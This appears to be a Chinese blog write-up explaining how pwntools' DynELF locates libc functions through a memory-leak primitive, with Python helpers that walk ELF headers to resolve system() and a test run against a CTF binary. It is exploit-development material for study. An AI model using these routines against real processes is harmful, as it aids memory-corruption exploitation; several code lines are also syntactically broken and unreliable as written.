what DynELF does basically

0x00:

一直很好奇DynELF是怎么去info leak的,在阅读完了老外的一篇文章后,自己也仿照这写了一个,顺便复习了下elf文件结构相关的知识。

0x01: Get elf base addr

前提:假设现在已经有一个任意地址读的漏洞,可以写出一个leak函数供后面代码使用。

首先,我们需要从一个地址开始,先解析到elf base addr

1
2
3
4
5
6
7
8
9
10
def get_elf_base(entry):
entry = u64(entry)
libc_base = entry & 0xfffffffffffff000
while True:
tmp = leak(libc_base,0x8)
if tmp[0:4] == '\x7fELF'
break
libc_base -= 0x1000
print '[+]Libc base : 0x%x' % (libc_base)
return libc_base

0x02: find program header

之后是找到程序头。

1
2
3
4
5
6
def findPhdr(addr):
if bits == 32:
e_phoff = u32(leak(addr+0x1c,0x4).ljust(4,'\0'))
else:
e_phoff = u64(leak(addr+0x20,0x8).ljust(8,'\0'))
return e_phoff + addr

0x03: DYNAMIC Section

有了之前的程序头,就可以根据elf文件结构,去找到DYNAMIC section

1
2
3
4
5
6
7
def findDynamic(Phaddr,elf_base):
i = -56
p_type = 0
while p_type != 2:
i += 56
p_type = u32(leak,(Phaddr+i,0x4))
return u64(leak(Phaddr+i+16,0x8)) + elf_base

0x04: DT_SYMTAB and DT_STRTAB

根据上一步找到的DYNAMIC section,可以确定DT_STRTAB DT_SYMTAB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def findDynTable(DynamicAddr):
# for DT_STRTAB -- 5
# for DT_SYMTAB -- 6
tmp_dyn = DynamicAddr
dt_sym_addr = 0
dt_str_addr = 0
while True:
garbage = u64(leak(tmp_dyn,0x8))
if garbage == 0x5:
dt_str_addr = u64(leak(tmp_dyn+0x8,0x8))
elif garbage == 0x6:
dt_sym_addr = u64(leak(tmp_dyn+0x8,0x8))
if dt_sym_addr and dt_str_addr:
break
tmp_dyn += 0x10
return (dt_sym_addr,dt_str_addr)

0x05: find symbol you want

最后一步,查找目标函数。

1
2
3
4
5
6
7
8
9
10
def findSymbol(strtab,symtab,symbol,elf_base):
tmp_sym = symtab
while True:
garbage = u32(leak(tmp_sym,0x4))
name = leak(strtab+garbage,len(symbol))
if name == symbol:
break
tmp_sym += 0x18
symbol_addr = u64(leak(tmp_sym+0x8,0x8)) + elf_base
return symbol_addr

0x06: Test

最后看一下效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# muhe @ ubuntu in ~/Desktop/leak_study [20:58:04] 
$ python leak.py
[+] Starting local process './pwn200': Done
[+]Libc base : 0x7f95453ef000
[+]Libc Program header addr : 0x7f95453ef040
[+]Dynamic addr : 0x7f95457b1ba0
[+]DT_SYMTAB_Addr 0x7f95453f2d80
[+]DT_STRTAB_Addr 0x7f95453ffff8
[+]System addr : 0x7f9545434390
[*] Switching to interactive mode
Welcome to RCTF
AAAAAAAAAAAAAAAAAAAAAAAA\x9@$

[*] Got EOF while reading in interactive

0x07:

完整代码丢到了自己的pwnlog去了。
说句题外话-。- 在看这篇Finding-Functions的时候,问了作者几个问题,作者都很快回复而且还给了不少其他的建议-。- 人真的很nice。

0x08: Reference

Finding-Functions